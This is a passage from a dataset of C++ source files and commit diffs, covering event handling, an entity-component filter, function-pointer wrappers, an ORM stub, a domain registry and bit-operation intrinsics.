handleKeyDownEvent (const osgGA::GUIEventAdapter& ea);\n\n \/** Handles a \\c KEYUP event triggered by Producer. The only signal\n * triggered here is <tt>\"KeyUp\"<\/tt>.\n * @param ea The event generated by Producer.\n *\/\n void handleKeyUpEvent (const osgGA::GUIEventAdapter& ea);\n\n \/** Handles a \\c SCROLL event triggered by Producer. The signal\n * triggered here are <tt>\"ScrollUp\"<\/tt> and <tt>\"ScrollDown\"<\/tt>.\n * @param ea The event generated by Producer.\n *\/\n void handleScrollEvent (const osgGA::GUIEventAdapter& ea);\n\n \/\/\/ The viewer viewing the nodes.\n osgProducer::Viewer& viewer_;\n\n \/** If this is \\c true, faces back-facing the viewer will be ignored\n * while picking.\n *\/\n bool ignoreBackFaces_;\n\n \/** The list of root nodes used when picking.\n * @see setPickingRoots for a discussion on how this is used and why\n * this is necessary.\n *\/\n std::vector<NodePtr> pickingRoots_;\n\n \/** The values to be returned by the \\c handle() method, depending on\n * the event type it is handling. Values are not initialized, meaning\n * that \\c handle(), by default, returns \\c false for all event types.\n * @todo Implement a method like \\c setHandleReturnValue(), so that\n * the user can configure this.\n *\/\n std::map <osgGA::GUIEventAdapter::EventType, bool> handleReturnValues_;\n\n \/\/\/ Type mapping a signal name to the signal object.\n typedef std::map <std::string, SignalPtr> SignalCollection_t;\n\n \/\/\/ Type mapping nodes to the collection of signals associated to it.\n typedef std::map <NodePtr, SignalCollection_t > SignalsMap_t;\n\n \/** Structure containing all the signals used by this \\c EventHandler.\n * It can be used with a syntax like this:\n * <tt>signals_[node][\"MouseMove\"]->connect(&MyHandler);<\/tt>\n *\/\n SignalsMap_t signals_;\n\n \/** The \\c osgUtil::Hit structure for the node currently under the\n * mouse pointer. (Respecting the \\c ignoreBackFaces_ flag.)\n *\/\n osgUtil::Hit hitUnderMouse_;\n\n \/\/\n \/\/ For \"MouseEnter\", \"MouseLeave\", \"MouseMove\"\n \/\/\n\n \/\/\/ The node currently under the mouse pointer.\n NodePtr nodeUnderMouse_;\n\n \/** The position (in the object coordinate system) of\n * \\c nodeUnderMouse_ currently under the mouse pointer.\n *\/\n osg::Vec3 positionUnderMouse_;\n\n \/\/\n \/\/ For \"Click\" and \"DoubleClick\"\n \/\/\n\n \/\/\/ The buttons of a mouse.\n enum MouseButton\n {\n LEFT_MOUSE_BUTTON, \/\/\/< The left button.\n MIDDLE_MOUSE_BUTTON, \/\/\/< The middle button.\n RIGHT_MOUSE_BUTTON, \/\/\/< The right button.\n MOUSE_BUTTON_COUNT \/\/\/< The number of buttons in a mouse.\n };\n\n \/** Returns the mouse button used in the \\c osgGA::GUIEventAdapter\n * passed as parameter.\n *\/\n MouseButton getMouseButton (const osgGA::GUIEventAdapter& ea);\n\n \/** An array indicating (for every mouse button) which was the node\n * that received the last mouse down event. This is used to identify\n * clicks.\n *\/\n NodePtr nodeThatGotMouseDown_[MOUSE_BUTTON_COUNT];\n\n \/** An array indicating (for every mouse button) which was the node\n * that received the last click event. This is used to identify double\n * clicks.\n *\/\n NodePtr nodeThatGotClick_[MOUSE_BUTTON_COUNT];\n\n \/** An array indicating (for every mouse button) the time at which the\n * last click event has happened. This is used to identify double\n * clicks.\n *\/\n double timeOfLastClick_[MOUSE_BUTTON_COUNT];\n\n \/\/\n \/\/ For \"KeyUp\" and \"KeyDown\"\n \/\/\n\n \/\/\/ The node receiving keyboard events.\n NodePtr kbdFocus_;\n\n \/\/\/ The focus policy for keyboard-related events.\n FocusPolicyPtr kbdFocusPolicy_;\n\n \/\/\n \/\/ For \"MouseWheelUp\" and \"MouseWheelDown\"\n \/\/\n\n \/\/\/ The node receiving mouse wheel events.\n NodePtr wheelFocus_;\n\n \/\/\/ The focus policy for mouse wheel-related events.\n FocusPolicyPtr wheelFocusPolicy_;\n };\n\n} \/\/ namespace OSGUIsh\n\n\n#endif \/\/ _GUISH_EVENT_HANDLER_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\n\/\/\/ anax\n\/\/\/ Copyright (C) 2013 Miguel Martin (miguel.martin7.5@hotmail.com)\n\/\/\/\n\/\/\/\n\/\/\/ This software is provided 'as-is', without any express or implied warranty.\n\/\/\/ In no event will the authors be held liable for any damages arising from the\n\/\/\/ use of this software.\n\/\/\/\n\/\/\/ Permission is hereby granted, free of charge, to any person\n\/\/\/ obtaining a copy of this software and associated documentation files (the \"Software\"),\n\/\/\/ to deal in the Software without restriction, including without limitation the rights\n\/\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/\/ furnished to do so, subject to the following conditions:\n\/\/\/\n\/\/\/ 1. The origin of this software must not be misrepresented;\n\/\/\/ you must not claim that you wrote the original software.\n\/\/\/ If you use this software in a product, an acknowledgment\n\/\/\/ in the product documentation would be appreciated but is not required.\n\/\/\/\n\/\/\/ 2. Altered source versions must be plainly marked as such,\n\/\/\/\t and must not be misrepresented as being the original software.\n\/\/\/\n\/\/\/ 3. The above copyright notice and this permission notice shall be included in\n\/\/\/ all copies or substantial portions of the Software.\n\/\/\/\n\n#ifndef __ANAX_COMPONENTFILTER_HPP__\n#define __ANAX_COMPONENTFILTER_HPP__\n\n#include <type_traits>\n\n#include <boost\/dynamic_bitset.hpp>\n\n#include \"detail\/EntityIdPool.hpp\"\n#include \"detail\/ContainerUtils.hpp\"\n\n#include \"config.hpp\"\n#include \"Component.hpp\"\n#include \"ComponentTypeList.hpp\"\n\nnamespace anax\n{\n\t\/\/\/ \\brief A class used to filter out Components\n\t\/\/\/\n\t\/\/\/ This class was designed to be used in conjuction\n\t\/\/\/ with systems in the entity systems. As it grants\n\t\/\/\/ the ability to filter out entities with specific\n\t\/\/\/ components.\n\t\/\/\/\n\t\/\/\/ \\author Miguel Martin\n\tclass ComponentFilter\n\t{\n\tpublic:\n\t\t\n\t\tComponentFilter() {}\n\t\tComponentFilter(const ComponentFilter&) = default;\n\t\tComponentFilter(ComponentFilter&&) = default;\n\t\tComponentFilter& operator=(const ComponentFilter&) = default;\n\t\tComponentFilter& operator=(ComponentFilter&&) = default;\n\t\t\n\t\t\/\/ TODO: Documentation\n\t\t\n\t\ttemplate <typename C1>\n\t\tComponentFilter& requires()\n\t\t{\n\t\t\tstatic_assert(std::is_base_of<BaseComponent, C1>(), \"C1 does not inherit from Component\");\n\t\t\t\n\t\t\tdetail::EnsureCapacity(_requiredComponentsList, C1::GetTypeId());\n\t\t\t_requiredComponentsList[C1::GetTypeId()] = true;\n\t\t\t\n\t\t\treturn *this;\n\t\t}\n\t\t\n\t\ttemplate <typename C1>\n\t\tComponentFilter& requiresOneOf()\n\t\t{\n\t\t\tstatic_assert(std::is_base_of<BaseComponent, C1>(), \"C1 does not inherit from Component\");\n\t\t\t\n\t\t\tdetail::EnsureCapacity(_requiresOneOfComponentsList, C1::GetTypeId());\n\t\t\t_requiresOneOfComponentsList[C1::GetTypeId()] = true;\n\t\t\t\n\t\t\treturn *this;\n\t\t}\n\t\t\n\t\ttemplate <typename C1>\n\t\tComponentFilter& exclude()\n\t\t{\n\t\t\tstatic_assert(std::is_base_of<BaseComponent, C1>(), \"C1 does not inherit from Component\");\n\n\t\t\tdetail::EnsureCapacity(_excludeComponentsList, C1::GetTypeId());\n\t\t\t_excludeComponentsList[C1::GetTypeId()] = true;\n\t\t\t\n\t\t\treturn *this;\n\t\t}\n\t\t\n\t\t\n#ifndef ANAX_DONT_USE_VARIADIC_TEMPLATES\n\t\t\n\t\ttemplate <typename C1, typename C2, typename... Components>\n\t\tComponentFilter& requires()\n\t\t{\n\t\t\trequires<C1>();\n\t\t\trequires<C2, Components...>();\n\t\t\t\n\t\t\treturn *this;\n\t\t}\n\t\t\n\t\ttemplate <typename C1, typename C2, typename... Components>\n\t\tComponentFilter& requiresOneOf()\n\t\t{\n\t\t\trequiresOneOf<C1>();\n\t\t\trequiresOneOf<C2, Components...>();\n\t\t\t\n\t\t\treturn *this;\n\t\t}\n\t\t\n\t\ttemplate <typename C1, typename C2, typename... Components>\n\t\tComponentFilter& excludes()\n\t\t{\n\t\t\texcludes<C1>();\n\t\t\texcludes<C2, Components...>();\n\t\t\t\n\t\t\treturn *this;\n\t\t}\n\t\t\n#endif \/\/ ANAX_DONT_USE_VARIADIC_TEMPLATES\n\t\t\n\t\t\n\t\t\/\/\/ Determines if a list of component types passes the filter\n\t\t\/\/\/ \\param componentTypeList The list of component types you wish to check if it passes through the filter\n\t\t\/\/\/ \\return true if the list of component types passes through the filter (i.e. is valid)\n\t\tbool doesPassFilter(const ComponentTypeList& componentTypeList) const;\n\t\t\n\t\t\/\/\/ Clears the filter\n\t\tvoid clear();\n\t\t\n\tprivate:\n\t\t\n\t\t\/\/\/ A list of component types that are required\n\t\tComponentTypeList _requiredComponentsList;\n\t\t\n\t\t\/\/\/ A list of component types that are required\n\t\t\/\/\/ at least once\n\t\tComponentTypeList _requiresOneOfComponentsList;\n\t\t\n\t\t\/\/\/ A list of component types that must be excluded\n\t\tComponentTypeList _excludeComponentsList;\n\t};\n}\n\n#endif \/\/ __ANAX_COMPONENTFILTER_HPP__<commit_msg>Forgot to add s to exclude method in ComponentFilter<commit_after>\/\/\/\n\/\/\/ anax\n\/\/\/ Copyright (C) 2013 Miguel Martin (miguel.martin7.5@hotmail.com)\n\/\/\/\n\/\/\/\n\/\/\/ This software is provided 'as-is', without any express or implied warranty.\n\/\/\/ In no event will the authors be held liable for any damages arising from the\n\/\/\/ use of this software.\n\/\/\/\n\/\/\/ Permission is hereby granted, free of charge, to any person\n\/\/\/ obtaining a copy of this software and associated documentation files (the \"Software\"),\n\/\/\/ to deal in the Software without restriction, including without limitation the rights\n\/\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/\/ furnished to do so, subject to the following conditions:\n\/\/\/\n\/\/\/ 1. The origin of this software must not be misrepresented;\n\/\/\/ you must not claim that you wrote the original software.\n\/\/\/ If you use this software in a product, an acknowledgment\n\/\/\/ in the product documentation would be appreciated but is not required.\n\/\/\/\n\/\/\/ 2. Altered source versions must be plainly marked as such,\n\/\/\/\t and must not be misrepresented as being the original software.\n\/\/\/\n\/\/\/ 3. The above copyright notice and this permission notice shall be included in\n\/\/\/ all copies or substantial portions of the Software.\n\/\/\/\n\n#ifndef __ANAX_COMPONENTFILTER_HPP__\n#define __ANAX_COMPONENTFILTER_HPP__\n\n#include <type_traits>\n\n#include <boost\/dynamic_bitset.hpp>\n\n#include \"detail\/EntityIdPool.hpp\"\n#include \"detail\/ContainerUtils.hpp\"\n\n#include \"config.hpp\"\n#include \"Component.hpp\"\n#include \"ComponentTypeList.hpp\"\n\nnamespace anax\n{\n\t\/\/\/ \\brief A class used to filter out Components\n\t\/\/\/\n\t\/\/\/ This class was designed to be used in conjuction\n\t\/\/\/ with systems in the entity systems. As it grants\n\t\/\/\/ the ability to filter out entities with specific\n\t\/\/\/ components.\n\t\/\/\/\n\t\/\/\/ \\author Miguel Martin\n\tclass ComponentFilter\n\t{\n\tpublic:\n\t\t\n\t\tComponentFilter() {}\n\t\tComponentFilter(const ComponentFilter&) = default;\n\t\tComponentFilter(ComponentFilter&&) = default;\n\t\tComponentFilter& operator=(const ComponentFilter&) = default;\n\t\tComponentFilter& operator=(ComponentFilter&&) = default;\n\t\t\n\t\t\/\/ TODO: Documentation\n\t\t\n\t\ttemplate <typename C1>\n\t\tComponentFilter& requires()\n\t\t{\n\t\t\tstatic_assert(std::is_base_of<BaseComponent, C1>(), \"C1 does not inherit from Component\");\n\t\t\t\n\t\t\tdetail::EnsureCapacity(_requiredComponentsList, C1::GetTypeId());\n\t\t\t_requiredComponentsList[C1::GetTypeId()] = true;\n\t\t\t\n\t\t\treturn *this;\n\t\t}\n\t\t\n\t\ttemplate <typename C1>\n\t\tComponentFilter& requiresOneOf()\n\t\t{\n\t\t\tstatic_assert(std::is_base_of<BaseComponent, C1>(), \"C1 does not inherit from Component\");\n\t\t\t\n\t\t\tdetail::EnsureCapacity(_requiresOneOfComponentsList, C1::GetTypeId());\n\t\t\t_requiresOneOfComponentsList[C1::GetTypeId()] = true;\n\t\t\t\n\t\t\treturn *this;\n\t\t}\n\t\t\n\t\ttemplate <typename C1>\n\t\tComponentFilter& excludes()\n\t\t{\n\t\t\tstatic_assert(std::is_base_of<BaseComponent, C1>(), \"C1 does not inherit from Component\");\n\n\t\t\tdetail::EnsureCapacity(_excludeComponentsList, C1::GetTypeId());\n\t\t\t_excludeComponentsList[C1::GetTypeId()] = true;\n\t\t\t\n\t\t\treturn *this;\n\t\t}\n\t\t\n\t\t\n#ifndef ANAX_DONT_USE_VARIADIC_TEMPLATES\n\t\t\n\t\ttemplate <typename C1, typename C2, typename... Components>\n\t\tComponentFilter& requires()\n\t\t{\n\t\t\trequires<C1>();\n\t\t\trequires<C2, Components...>();\n\t\t\t\n\t\t\treturn *this;\n\t\t}\n\t\t\n\t\ttemplate <typename C1, typename C2, typename... Components>\n\t\tComponentFilter& requiresOneOf()\n\t\t{\n\t\t\trequiresOneOf<C1>();\n\t\t\trequiresOneOf<C2, Components...>();\n\t\t\t\n\t\t\treturn *this;\n\t\t}\n\t\t\n\t\ttemplate <typename C1, typename C2, typename... Components>\n\t\tComponentFilter& excludes()\n\t\t{\n\t\t\texcludes<C1>();\n\t\t\texcludes<C2, Components...>();\n\t\t\t\n\t\t\treturn *this;\n\t\t}\n\t\t\n#endif \/\/ ANAX_DONT_USE_VARIADIC_TEMPLATES\n\t\t\n\t\t\n\t\t\/\/\/ Determines if a list of component types passes the filter\n\t\t\/\/\/ \\param componentTypeList The list of component types you wish to check if it passes through the filter\n\t\t\/\/\/ \\return true if the list of component types passes through the filter (i.e. is valid)\n\t\tbool doesPassFilter(const ComponentTypeList& componentTypeList) const;\n\t\t\n\t\t\/\/\/ Clears the filter\n\t\tvoid clear();\n\t\t\n\tprivate:\n\t\t\n\t\t\/\/\/ A list of component types that are required\n\t\tComponentTypeList _requiredComponentsList;\n\t\t\n\t\t\/\/\/ A list of component types that are required\n\t\t\/\/\/ at least once\n\t\tComponentTypeList _requiresOneOfComponentsList;\n\t\t\n\t\t\/\/\/ A list of component types that must be excluded\n\t\tComponentTypeList _excludeComponentsList;\n\t};\n}\n\n#endif \/\/ __ANAX_COMPONENTFILTER_HPP__<|endoftext|>"} {"text":"<commit_before>#pragma once\n#include <utility>\n#include <type_traits>\n#include <archie\/meta\/static_constexpr_storage.hpp>\n#include <archie\/fused\/if_t.hpp>\n\nnamespace archie {\nnamespace detail {\n template <typename...>\n struct to_function_pointer_;\n\n template <typename R, typename... Args>\n struct to_function_pointer_<R(Args...)> {\n using type = R (*)(Args...);\n\n template <typename T>\n type operator()(T&& t) const {\n return fused::if_(std::is_convertible<std::decay_t<T>, type>{},\n [](auto&& x) -> type { return std::forward<decltype(x)>(x); },\n [](auto&& x) -> type {\n using ObjT = std::decay_t<decltype(x)>;\n static_assert(std::is_empty<ObjT>::value &&\n std::is_trivially_constructible<ObjT>::value,\n \"\");\n return [](Args... args) {\n return std::add_const_t<ObjT>{}(std::forward<Args>(args)...);\n };\n })(std::forward<T>(t));\n }\n };\n}\n\ntemplate <typename...>\nstruct pure_function;\n\ntemplate <typename R, typename... Args>\nstruct pure_function<R(Args...)> {\n using type = R (*)(Args...);\n\n pure_function() = default;\n\n template <typename T>\n explicit pure_function(T t)\n : fptr(meta::instance<detail::to_function_pointer_<R(Args...)>>()(t)) {}\n\n template <typename T>\n pure_function& operator=(T t) {\n fptr = meta::instance<detail::to_function_pointer_<R(Args...)>>()(t);\n return *this;\n }\n\n template <typename... U>\n auto operator()(U&&... u) const {\n return (*fptr)(std::forward<U>(u)...);\n }\n\n explicit operator bool() const { return fptr != nullptr; }\n operator type() const { return fptr; }\n\nprivate:\n type fptr = nullptr;\n};\n}\n<commit_msg>decltype(auto)<commit_after>#pragma once\n#include <utility>\n#include <type_traits>\n#include <archie\/meta\/static_constexpr_storage.hpp>\n#include <archie\/fused\/if_t.hpp>\n\nnamespace archie {\nnamespace detail {\n template <typename...>\n struct to_function_pointer_;\n\n template <typename R, typename... Args>\n struct to_function_pointer_<R(Args...)> {\n using type = R (*)(Args...);\n\n template <typename T>\n type operator()(T&& t) const {\n return fused::if_(std::is_convertible<std::decay_t<T>, type>{},\n [](auto&& x) -> type { return std::forward<decltype(x)>(x); },\n [](auto&& x) -> type {\n using ObjT = std::decay_t<decltype(x)>;\n static_assert(std::is_empty<ObjT>::value &&\n std::is_trivially_constructible<ObjT>::value,\n \"\");\n return [](Args... args) {\n return std::add_const_t<ObjT>{}(std::forward<Args>(args)...);\n };\n })(std::forward<T>(t));\n }\n };\n}\n\ntemplate <typename...>\nstruct pure_function;\n\ntemplate <typename R, typename... Args>\nstruct pure_function<R(Args...)> {\n using type = R (*)(Args...);\n\n pure_function() = default;\n\n template <typename T>\n explicit pure_function(T t)\n : fptr(meta::instance<detail::to_function_pointer_<R(Args...)>>()(t)) {}\n\n template <typename T>\n pure_function& operator=(T t) {\n fptr = meta::instance<detail::to_function_pointer_<R(Args...)>>()(t);\n return *this;\n }\n\n template <typename... U>\n decltype(auto) operator()(U&&... u) const {\n return (*fptr)(std::forward<U>(u)...);\n }\n\n explicit operator bool() const { return fptr != nullptr; }\n operator type() const { return fptr; }\n\nprivate:\n type fptr = nullptr;\n};\n}\n<|endoftext|>"} {"text":"<commit_before>#include <vector>\n#include <string>\n#include \"blib\/bun\/CppTypeToSQLString.hpp\"\n\nnamespace blib{\n namespace bun{\n namespace __private{\n template<typename T>\n struct OneToNCreation{\n std::string parent_table(){\n return \"\";\n }\n \n std::string table_name(){\n return \"\";\n }\n \n std::string sql(){\n return \"\";\n }\n \n private:\n std::string __parent_table(const std::string& \/*parent_table*\/){\n return \"\";\n }\n \n std::string __table_name(const std::string& \/*table-name*\/){\n return \"\";\n }\n }\n \n template<typename T>\n struct OneToNCreation<std::vector<T>>{\n std::string parent_table(){\n return \"\";\n }\n \n std::string table_name(){\n return \"\";\n }\n \n std::string sql(){\n return \"\";\n }\n \n private:\n std::string __parent_table(const std::string& parent_table){\n return \"\";\n }\n \n std::string __table_name(const std::string& \/*table-name*\/){\n return \"\";\n }\n }\n }\n }\n}<commit_msg>Adding some more changes<commit_after>#include <vector>\n#include <string>\n#include \"blib\/bun\/CppTypeToSQLString.hpp\"\n\nnamespace blib{\n namespace bun{\n namespace __private{\n template<typename T>\n struct NxNMappingTables{\n static std::string base_table_name();\n static std::string table_name();\n }\n \n template<typename T>\n struct OneToNCreationSql{\n static std::string sql(){\n return \"\";\n }\n }\n \n template<typename T>\n struct OneToNCreationSql<std::vector<T>>{\n static std::string const& table_name(){\n static const std::string table_name = NxNMappingTables<std::vector<T>>::base_table_name() + \"_\" + NxNMappingTables<std::vector<T>>::table_name()\n return table_name;\n }\n \n static std::string sql(){\n static std::string sql = \"CREATE TABLE '\" + table_name() + \"' WITH \"\n }\n }\n }\n }\n}<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include \"clam\/ClamAnalysisParams.hh\"\n#include \"clam\/Clam.hh\"\n\n#include <map>\n\n\nnamespace clam {\n\nclass DomainRegistry {\npublic:\n typedef std::map<CrabDomain::Type, clam_abstract_domain> FactoryMap;\n\n template<typename AbsDom>\n static bool add(CrabDomain::Type dom_ty) {\n auto &map = getFactoryMap();\n auto dom = DomainRegistry::makeTopDomain<AbsDom>();\n return map.insert({dom_ty, dom}).second;\n }\n \n static bool count(CrabDomain::Type dom_ty) {\n auto &map = getFactoryMap();\n return map.find(dom_ty) != map.end();\n }\n \n static clam_abstract_domain at(CrabDomain::Type dom_ty) {\n auto &map = getFactoryMap();\n return map.at(dom_ty);\n }\n \nprivate:\n \n static FactoryMap& getFactoryMap() {\n static FactoryMap map;\n return map;\n }\n\n \/* The domains instantiations happen in lib\/Clam\/domains *\/\n template<typename AbsDom>\n static clam_abstract_domain makeTopDomain(); \n}; \n\n#define REGISTER_DOMAIN(domain_enum_val, domain_decl)\t\t\t\\\n bool domain_decl ## _entry = DomainRegistry::add<domain_decl>(domain_enum_val); \n \n} \/\/end namespace clam\n<commit_msg>refactor(RegisterAnalysis): reset stats after adding domain<commit_after>#pragma once\n\n#include \"clam\/ClamAnalysisParams.hh\"\n#include \"clam\/Clam.hh\"\n#include \"crab\/support\/stats.hpp\"\n\n#include <map>\n\n\nnamespace clam {\n\nclass DomainRegistry {\npublic:\n typedef std::map<CrabDomain::Type, clam_abstract_domain> FactoryMap;\n\n template<typename AbsDom>\n static bool add(CrabDomain::Type dom_ty) {\n auto &map = getFactoryMap();\n auto dom = DomainRegistry::makeTopDomain<AbsDom>();\n bool res = map.insert({dom_ty, dom}).second;\n crab::CrabStats::reset();\n return res;\n }\n \n static bool count(CrabDomain::Type dom_ty) {\n auto &map = getFactoryMap();\n return map.find(dom_ty) != map.end();\n }\n \n static clam_abstract_domain at(CrabDomain::Type dom_ty) {\n auto &map = getFactoryMap();\n return map.at(dom_ty);\n }\n \nprivate:\n \n static FactoryMap& getFactoryMap() {\n static FactoryMap map;\n return map;\n }\n\n \/* The domains instantiations happen in lib\/Clam\/domains *\/\n template<typename AbsDom>\n static clam_abstract_domain makeTopDomain(); \n}; \n\n#define REGISTER_DOMAIN(domain_enum_val, domain_decl)\t\t\t\\\n bool domain_decl ## _entry = DomainRegistry::add<domain_decl>(domain_enum_val); \n \n} \/\/end namespace clam\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\/**\n\t@file\n\t@brief bit operation\n*\/\n#include <assert.h>\n#include <cybozu\/inttype.hpp>\n\n#if (CYBOZU_HOST == CYBOZU_HOST_INTEL)\n\t#if defined(_WIN32)\n\t\t#include <intrin.h>\n\t#elif defined(__linux__) || defined(__CYGWIN__) || defined(__clang__)\n\t\t#include <x86intrin.h>\n\t#elif defined(__GNUC__)\n\t\t#include <emmintrin.h>\n\t#endif\n#endif\n\nnamespace cybozu {\n\nnamespace bit_op_local {\n\ntemplate<bool equalTo8>\nstruct Tag {};\n\n\/\/ sizeof(T) < 8\ntemplate<>\nstruct Tag<false> {\n\ttemplate<class T>\n\tstatic inline int bsf(T x)\n\t{\n#if defined(_MSC_VER)\n\t\tunsigned long out;\n\t\t_BitScanForward(&out, x);\n#pragma warning(suppress: 6102)\n\t\treturn out;\n#else\n\t\treturn __builtin_ctz(x);\n#endif\n\t}\n\ttemplate<class T>\n\tstatic inline int bsr(T x)\n\t{\n#if defined(_MSC_VER)\n\t\tunsigned long out;\n\t\t_BitScanReverse(&out, x);\n#pragma warning(suppress: 6102)\n\t\treturn out;\n#else\n\t\treturn __builtin_clz(x) ^ 0x1f;\n#endif\n\t}\n};\n\n\/\/ sizeof(T) == 8\ntemplate<>\nstruct Tag<true> {\n\ttemplate<class T>\n\tstatic inline int bsf(T x)\n\t{\n#if defined(_MSC_VER) && defined(_WIN64)\n\t\tunsigned long out;\n\t\t_BitScanForward64(&out, x);\n#pragma warning(suppress: 6102)\n\t\treturn out;\n#elif defined(__x86_64__)\n\t\treturn __builtin_ctzl(x);\n#else\n\t\tconst uint32_t L = uint32_t(x);\n\t\tif (L) return Tag<false>::bsf(L);\n\t\tconst uint32_t H = uint32_t(x >> 32);\n\t\treturn Tag<false>::bsf(H) + 32;\n#endif\n\t}\n\ttemplate<class T>\n\tstatic inline int bsr(T x)\n\t{\n#if defined(_MSC_VER) && defined(_WIN64)\n\t\tunsigned long out;\n\t\t_BitScanReverse64(&out, x);\n#pragma warning(suppress: 6102)\n\t\treturn out;\n#elif defined(__x86_64__)\n\t\treturn __builtin_clzl(x) ^ 0x3f;\n#else\n\t\tconst uint32_t H = uint32_t(x >> 32);\n\t\tif (H) return Tag<false>::bsr(H) + 32;\n\t\tconst uint32_t L = uint32_t(x);\n\t\treturn Tag<false>::bsr(L);\n#endif\n\t}\n};\n\n} \/\/ bit_op_local\n\ntemplate<class T>\nint bsf(T x)\n{\n\treturn bit_op_local::Tag<sizeof(T) == 8>::bsf(x);\n}\ntemplate<class T>\nint bsr(T x)\n{\n\treturn bit_op_local::Tag<sizeof(T) == 8>::bsr(x);\n}\n\ntemplate<class T>\nuint64_t makeBitMask64(T x)\n{\n\tassert(x < 64);\n\treturn (uint64_t(1) << x) - 1;\n}\n\ntemplate<class T>\nuint32_t popcnt(T x);\n\ntemplate<>\ninline uint32_t popcnt<uint32_t>(uint32_t x)\n{\n#if defined(_MSC_VER)\n\treturn static_cast<uint32_t>(_mm_popcnt_u32(x));\n#else\n\treturn static_cast<uint32_t>(__builtin_popcount(x));\n#endif\n}\n\ntemplate<>\ninline uint32_t popcnt<uint64_t>(uint64_t x)\n{\n#if defined(_WIN64)\n\treturn static_cast<uint32_t>(_mm_popcnt_u64(x));\n#elif defined(__x86_64__)\n\treturn static_cast<uint32_t>(__builtin_popcountl(x));\n#else\n\treturn popcnt<uint32_t>(static_cast<uint32_t>(x)) + popcnt<uint32_t>(static_cast<uint32_t>(x >> 32));\n#endif\n}\n\n} \/\/ cybozu\n<commit_msg>fix bsr\/bsf for uint64_t on mingw<commit_after>#pragma once\n\/**\n\t@file\n\t@brief bit operation\n*\/\n#include <assert.h>\n#include <cybozu\/inttype.hpp>\n\n#if (CYBOZU_HOST == CYBOZU_HOST_INTEL)\n\t#if defined(_WIN32)\n\t\t#include <intrin.h>\n\t#elif defined(__linux__) || defined(__CYGWIN__) || defined(__clang__)\n\t\t#include <x86intrin.h>\n\t#elif defined(__GNUC__)\n\t\t#include <emmintrin.h>\n\t#endif\n#endif\n\nnamespace cybozu {\n\nnamespace bit_op_local {\n\ntemplate<bool equalTo8>\nstruct Tag {};\n\n\/\/ sizeof(T) < 8\ntemplate<>\nstruct Tag<false> {\n\ttemplate<class T>\n\tstatic inline int bsf(T x)\n\t{\n#if defined(_MSC_VER)\n\t\tunsigned long out;\n\t\t_BitScanForward(&out, x);\n#pragma warning(suppress: 6102)\n\t\treturn out;\n#else\n\t\treturn __builtin_ctz(x);\n#endif\n\t}\n\ttemplate<class T>\n\tstatic inline int bsr(T x)\n\t{\n#if defined(_MSC_VER)\n\t\tunsigned long out;\n\t\t_BitScanReverse(&out, x);\n#pragma warning(suppress: 6102)\n\t\treturn out;\n#else\n\t\treturn __builtin_clz(x) ^ 0x1f;\n#endif\n\t}\n};\n\n\/\/ sizeof(T) == 8\ntemplate<>\nstruct Tag<true> {\n\ttemplate<class T>\n\tstatic inline int bsf(T x)\n\t{\n#if defined(_MSC_VER) && defined(_WIN64)\n\t\tunsigned long out;\n\t\t_BitScanForward64(&out, x);\n#pragma warning(suppress: 6102)\n\t\treturn out;\n#elif defined(__x86_64__)\n\t\treturn __builtin_ctzll(x);\n#else\n\t\tconst uint32_t L = uint32_t(x);\n\t\tif (L) return Tag<false>::bsf(L);\n\t\tconst uint32_t H = uint32_t(x >> 32);\n\t\treturn Tag<false>::bsf(H) + 32;\n#endif\n\t}\n\ttemplate<class T>\n\tstatic inline int bsr(T x)\n\t{\n#if defined(_MSC_VER) && defined(_WIN64)\n\t\tunsigned long out;\n\t\t_BitScanReverse64(&out, x);\n#pragma warning(suppress: 6102)\n\t\treturn out;\n#elif defined(__x86_64__)\n\t\treturn __builtin_clzll(x) ^ 0x3f;\n#else\n\t\tconst uint32_t H = uint32_t(x >> 32);\n\t\tif (H) return Tag<false>::bsr(H) + 32;\n\t\tconst uint32_t L = uint32_t(x);\n\t\treturn Tag<false>::bsr(L);\n#endif\n\t}\n};\n\n} \/\/ bit_op_local\n\ntemplate<class T>\nint bsf(T x)\n{\n\treturn bit_op_local::Tag<sizeof(T) == 8>::bsf(x);\n}\ntemplate<class T>\nint bsr(T x)\n{\n\treturn bit_op_local::Tag<sizeof(T) == 8>::bsr(x);\n}\n\ntemplate<class T>\nuint64_t makeBitMask64(T x)\n{\n\tassert(x < 64);\n\treturn (uint64_t(1) << x) - 1;\n}\n\ntemplate<class T>\nuint32_t popcnt(T x);\n\ntemplate<>\ninline uint32_t popcnt<uint32_t>(uint32_t x)\n{\n#if defined(_MSC_VER)\n\treturn static_cast<uint32_t>(_mm_popcnt_u32(x));\n#else\n\treturn static_cast<uint32_t>(__builtin_popcount(x));\n#endif\n}\n\ntemplate<>\ninline uint32_t popcnt<uint64_t>(uint64_t x)\n{\n#if defined(__x86_64__)\n\treturn static_cast<uint32_t>(__builtin_popcountll(x));\n#elif defined(_WIN64)\n\treturn static_cast<uint32_t>(_mm_popcnt_u64(x));\n#else\n\treturn popcnt<uint32_t>(static_cast<uint32_t>(x)) + popcnt<uint32_t>(static_cast<uint32_t>(x >> 32));\n#endif\n}\n\n} \/\/ cybozu\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2016 CNRS\n\/\/ Authors: Joseph Mirabel from Florent Lamiraux\n\/\/\n\/\/\n\/\/ This file is part of hpp-pinocchio.\n\/\/ hpp-pinocchio is free software: you can redistribute it\n\/\/ and\/or modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation, either version\n\/\/ 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ hpp-pinocchio is distributed in the hope that it will be\n\/\/ useful, but WITHOUT ANY WARRANTY; without even the implied warranty\n\/\/ of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ General Lesser Public License for more details. You should have\n\/\/ received a copy of the GNU Lesser General Public License along with\n\/\/ hpp-pinocchio. If not, see\n\/\/ <http:\/\/www.gnu.org\/licenses\/>.\n\n#ifndef HPP_PINOCCHIO_GRIPPER_HH\n# define HPP_PINOCCHIO_GRIPPER_HH\n\n# include <hpp\/model\/fwd.hh>\n# include <hpp\/model\/joint.hh>\n\nnamespace hpp {\n namespace model {\n 